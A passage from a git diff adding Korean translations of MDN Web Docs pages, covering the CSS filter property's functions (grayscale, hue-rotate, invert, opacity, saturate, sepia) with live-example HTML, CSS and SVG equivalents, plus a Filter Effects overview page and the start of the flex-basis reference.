+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3, #img13 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('shadow_example','100%','300px','','','no-codepen')}}</p>
+
+<h4 id="grayscale"><code>grayscale()</code></h4>
+
+<p>{{cssxref("filter-function/grayscale", "grayscale()")}} 함수는 주어진 이미지를 흑백으로 변환합니다. <code>amount</code> 값은 흑백으로 전환하는 비율을 지정합니다. <code>100%</code>일 경우 완전히 흑백 이미지가 되고, <code>0%</code>일 경우 이미지가 그대로 유지되며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 보간 시 누락 값은 <code>0</code>입니다.</p>
+
+<pre class="brush: css notranslate">filter: grayscale(100%)</pre>
+
+<div id="grayscale_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_5.jpeg" id="img1" class="internal default" src="/files/3716/Test_Form_5.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_5.jpg" id="img2" class="internal default" src="/files/3716/Test_Form_5.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 276 184"&gt;
+ &lt;filter id="grayscale"&gt;
+    &lt;feColorMatrix type="matrix"
+               values="0.2126 0.7152 0.0722 0 0
+                       0.2126 0.7152 0.0722 0 0
+                       0.2126 0.7152 0.0722 0 0
+                       0 0 0 1 0"/&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3716/Test_Form_5.jpeg" filter="url(#grayscale)" width="276px" height="184px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_5_s.jpg" id="img4" class="internal default" src="/files/3717/Test_Form_5_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:grayscale(100%);
+  -webkit-filter:grayscale(100%);
+  -o-filter:grayscale(100%);
+  -ms-filter:grayscale(100%);
+  filter:grayscale(100%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('grayscale_example','100%','209px','','','no-codepen')}}</p>
+
+<h4 id="hue-rotate"><code>hue-rotate()</code></h4>
+
+<p>{{cssxref("filter-function/hue-rotate", "hue-rotate()")}} 함수는 주어진 이미지에 색조 회전을 적용합니다. <code>angle</code> 값은 입력 샘플을 조절할 색상환 각도입니다. <code>0deg</code>일 경우 이미지가 그대로 유지됩니다. 보간 시 누락 값은 <code>0</code>입니다. 최댓값이 존재하지는 않지만, <code>360deg</code> 이상의 값은 <code>0deg</code>와 <code>360deg</code> 사이를 순환합니다.</p>
+
+<pre class="brush: css notranslate">filter: hue-rotate(90deg)</pre>
+
+<div id="huerotate_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_6.jpeg" id="img1" class="internal default" src="/files/3718/Test_Form_6.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_6.jpg" id="img2" class="internal default" src="/files/3718/Test_Form_6.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 266 190"&gt;
+ &lt;filter id="hue-rotate"&gt;
+    &lt;feColorMatrix type="hueRotate"
+               values="90"/&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3718/Test_Form_6.jpeg" filter="url(#hue-rotate)" width="266px" height="190px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_6_s.jpg" id="img4" class="internal default" src="/files/3719/Test_Form_6_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:hue-rotate(90deg);
+  -webkit-filter:hue-rotate(90deg);
+  -o-filter:hue-rotate(90deg);
+  -ms-filter:hue-rotate(90deg);
+  filter:hue-rotate(90deg); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="svgHueRotate" &gt;
+    &lt;feColorMatrix type="hueRotate" values="[angle]" /&gt;
+  &lt;filter /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('huerotate_example','100%','221px','','','no-codepen')}}</p>
+
+<h4 id="invert"><code>invert()</code></h4>
+
+<p>{{cssxref("filter-function/invert", "invert()")}} 함수는 주어진 이미지의 색을 반전합니다. <code>amount</code> 값이 변형 정도를 지정합니다. <code>100%</code>일 경우 색을 정반대로 바꾸고, <code>0%</code>일 경우 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 보간 시 누락 값은 <code>0</code>입니다.</p>
+
+<pre class="brush: css notranslate">filter: invert(100%)</pre>
+
+<div id="invert_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_7.jpeg" id="img1" class="internal default" src="/files/3720/Test_Form_7.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_7.jpg" id="img2" class="internal default" src="/files/3720/Test_Form_7.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 183 276"&gt;
+ &lt;filter id="invert"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="table" tableValues="1 0"/&gt;
+        &lt;feFuncG type="table" tableValues="1 0"/&gt;
+        &lt;feFuncB type="table" tableValues="1 0"/&gt;
+    &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3720/Test_Form_7.jpeg" filter="url(#invert)" width="183px" height="276px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_7_s.jpg" id="img4" class="internal default" src="/files/3721/Test_Form_7_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: invert(100%);
+  -webkit-filter: invert(100%);
+  -o-filter: invert(100%);
+  -ms-filter: invert(100%);
+  filter: invert(100%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('invert_example','100%','407px','','','no-codepen')}}</p>
+
+<h4 id="opacity"><code>opacity()</code></h4>
+
+<p>{{cssxref("filter-function/opacity", "opacity()")}} 함수는 주어진 이미지의 불투명도를 설정합니다. <code>amount</code> 값이 변형 정도를 지정합니다. <code>0%</code>일 경우 완전히 투명해지고, <code>100%</code>일 경우 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 즉 주어진 이미지 샘플을 <code>amount</code>와 곱하는 것과 같습니다. 보간 시 누락 값은 <code>1</code>입니다. 이 함수는 보다 확립된 {{cssxref("opacity")}} 속성과 비슷하지만, 일부 브라우저에서는 필터를 사용했을 때 성능 향상을 위해 하드웨어 가속을 사용한다는 차이점이 있습니다.</p>
+
+<pre class="brush: css notranslate">filter: opacity(50%)</pre>
+
+<div id="opacity_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_14.jpeg" id="img1" class="internal default" src="/files/3725/Test_Form_14.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_14.jpg" id="img2" class="internal default" src="/files/3725/Test_Form_14.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 276 183"&gt;
+ &lt;filter id="opacity"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncA type="table" tableValues="0 0.5"&gt;
+    &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3725/Test_Form_14.jpeg" filter="url(#opacity)" width="276px" height="183px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_14_s.jpg" id="img4" class="internal default" src="/files/3726/Test_Form_14_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: opacity(50%);
+  -webkit-filter: opacity(50%);
+  -o-filter: opacity(50%);
+  -ms-filter: opacity(50%);
+  filter: opacity(50%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('opacity_example','100%','210px','','','no-codepen')}}</p>
+
+<h4 id="saturate"><code>saturate()</code></h4>
+
+<p>{{cssxref("filter-function/saturate", "saturate()")}} 함수는 주어진 이미지의 채도를 변경합니다. <code>amount</code> 값이 변형 정도를 지정합니다. <code>0%</code>일 경우 완전히 무채색이 되고, <code>100%</code>일 경우 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. <code>100%</code>보다 큰 값도 허용되며, 이때는 원본보다 채도가 큰 이미지를 생성합니다. 보간 시 누락 값은 <code>1</code>입니다.</p>
+
+<pre class="brush: css notranslate">filter: saturate(200%)</pre>
+
+<div id="saturate_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_9.jpeg" id="img1" class="internal default" src="/files/3722/Test_Form_9.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_9.jpg" id="img2" class="internal default" src="/files/3722/Test_Form_9.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 201 239"&gt;
+ &lt;filter id="saturate"&gt;
+    &lt;feColorMatrix type="saturate"
+               values="2"/&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3722/Test_Form_9.jpeg" filter="url(#saturate)" width="201px" height="239px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_9_s.jpg" id="img4" class="internal default" src="/files/3724/Test_Form_9_s.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: saturate(200%);
+  -webkit-filter: saturate(200%);
+  -o-filter: saturate(200%);
+  -ms-filter: saturate(200%);
+  filter: saturate(200%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('saturate_example','100%','332px','','','no-codepen')}}</p>
+
+<h4 id="sepia"><code>sepia()</code></h4>
+
+<p>{{cssxref("filter-function/sepia", "sepia()")}} 함수는 주어진 이미지를 세피아로 변환합니다. <code>amount</code> 값이 변형 정도를 지정합니다. <code>100%</code>일 경우 완전히 세피아가 되고, <code>0%</code>에서는 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 보간 시 누락 값은 <code>0</code>입니다.</p>
+
+<pre class="brush: css notranslate">filter: sepia(100%)</pre>
+
+<div id="sepia_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_12.jpeg" id="img1" class="internal default" src="/files/3727/Test_Form_12.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_12.jpg" id="img2" class="internal default" src="/files/3727/Test_Form_12.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 259 194"&gt;
+ &lt;filter id="sepia"&gt;
+    &lt;feColorMatrix type="matrix"
+               values="0.393 0.769 0.189 0 0
+                       0.349 0.686 0.168 0 0
+                       0.272 0.534 0.131 0 0
+                       0 0 0 1 0"/&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3727/Test_Form_12.jpeg" filter="url(#sepia)" width="259px" height="194px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_12_s.jpg" id="img4" class="internal default" src="/files/3728/Test_Form_12_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: sepia(100%);
+  -webkit-filter: sepia(100%);
+  -o-filter: sepia(100%);
+  -ms-filter: sepia(100%);
+  filter: sepia(100%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('sepia_example','100%','229px','','','no-codepen')}}</p>
+
+<h2 id="함수_조합">함수 조합</h2>
+
+<p>원하는 만큼 함수를 조합해서 그려지는 모습을 바꿀 수 있습니다. 다음 에제는 이미지의 대비와 밝기를 동시에 높입니다.</p>
+
+<pre class="brush: css notranslate">filter: contrast(175%) brightness(103%)</pre>
+
+<div id="combination_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_8.jpeg" id="img1" class="internal default" src="/files/3729/Test_Form_8.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_8.jpg" id="img2" class="internal default" src="/files/3729/Test_Form_8.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_8_s.jpg" id="img4" class="internal default" src="/files/3730/Test_Form_8_s.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: contrast(175%) brightness(103%);
+  -webkit-filter: contrast(175%) brightness(103%);
+  -o-filter: contrast(175%) brightness(103%);
+  -ms-filter: contrast(175%) brightness(103%);
+  filter: contrast(175%) brightness(103%);
+}
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('combination_example','100%','209px','','','no-codepen')}}</p>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="필터_함수_적용하기">필터 함수 적용하기</h3>
+
+<p>미리 정의된 함수는 다음 예제처럼 사용할 수 있습니다. 각 함수 문서에서 더 자세한 내용을 살펴보세요.</p>
+
+<pre class="brush: css notranslate">.mydiv {
+  filter: grayscale(50%);
+}
+
+/* 모든 이미지를 50% 흑백 처리하고 10px 흐리게 */
+img {
+  filter: grayscale(0.5) blur(10px);
+}</pre>
+
+<h3 id="SVG_필터_적용하기">SVG 필터 적용하기</h3>
+
+<p>URL 함수와 SVG 리소스를 사용하는 방법은 다음과 같습니다.</p>
+
+<pre class="brush: css notranslate">.target {
+  filter: url(#c1);
+}
+
+.mydiv {
+  filter: url(commonfilters.xml#large-blur);
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#FilterProperty', 'filter') }}</td>
+   <td>{{ Spec2('Filters 1.0') }}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.filter")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/SVG/Applying_SVG_effects_to_HTML_content">HTML 콘텐츠에 SVG 효과 적용하기</a></li>
+ <li>{{cssxref("mask")}} 속성</li>
+ <li><a class="internal" href="/ko/docs/Web/SVG">SVG</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/filters/understanding-css/">Understanding CSS filters</a> (HTML5Rocks! 글)</li>
+</ul>
diff --git a/files/ko/web/css/filter_effects/index.html b/files/ko/web/css/filter_effects/index.html
new file mode 100644
index 0000000000..dfd022f08e
--- /dev/null
+++ b/files/ko/web/css/filter_effects/index.html
@@ -0,0 +1,70 @@
+---
+title: Filter Effects
+slug: Web/CSS/Filter_Effects
+tags:
+  - CSS
+  - Filter Effects
+  - Guide
+  - Overview
+  - Reference
+translation_of: Web/CSS/Filter_Effects
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Filter Effects</strong>는 요소의 렌더링을 문서에 표시하기 전에 전처리하는 방법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("backdrop-filter")}}</li>
+ <li>{{cssxref("filter")}}</li>
+</ul>
+</div>
+
+<h3 id="자료형">자료형</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#FilterProperty', 'filter') }}</td>
+   <td>{{ Spec2('Filters 1.0') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="backdrop-filter_속성"><code>backdrop-filter</code> 속성</h3>
+
+<div>
+
+
+<p>{{Compat("css.properties.backdrop-filter")}}</p>
+
+<h3 id="filter_속성"><code>filter</code> 속성</h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.filter")}}</p>
+</div>
+</div>
diff --git a/files/ko/web/css/flex-basis/index.html b/files/ko/web/css/flex-basis/index.html
new file mode 100644
index 0000000000..6e162086ad
--- /dev/null
+++ b/files/ko/web/css/flex-basis/index.html
@@ -0,0 +1,209 @@
+---
+title: flex-basis
+slug: Web/CSS/flex-basis
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/flex-basis
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>flex-basis</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 플렉스 아이템의 초기 크기를 지정합니다. {{cssxref("box-sizing")}}을 따로 지정하지 않는다면 콘텐츠 박스의 크기를 변경합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-basis.html")}}</div>
+
+
+
+<div class="note">
+<p><strong>참고:</strong> <code>auto</code> 값을 가지지 않은 <code>flex-basis</code>와 {{cssxref("width")}}({{cssxref("flex-direction")}}<code>: column</code>인 경우 {{cssxref("height")}}) 값을 동시에 적용한 경우 <code>flex-basis</code>가 우선합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;'width'&gt; 지정 */
+flex-basis: 10em;
+flex-basis: 3px;
+flex-basis: auto;
+
+/* 원본 크기 키워드 */
+flex-basis: fill;
+flex-basis: max-content;
+flex-basis: min-content;
+flex-basis: fit-content;
+
+/* 플렉스 아이템 내용 크기에 따라 조절 */
+flex-basis: content;
+
+/* 전역 값 */
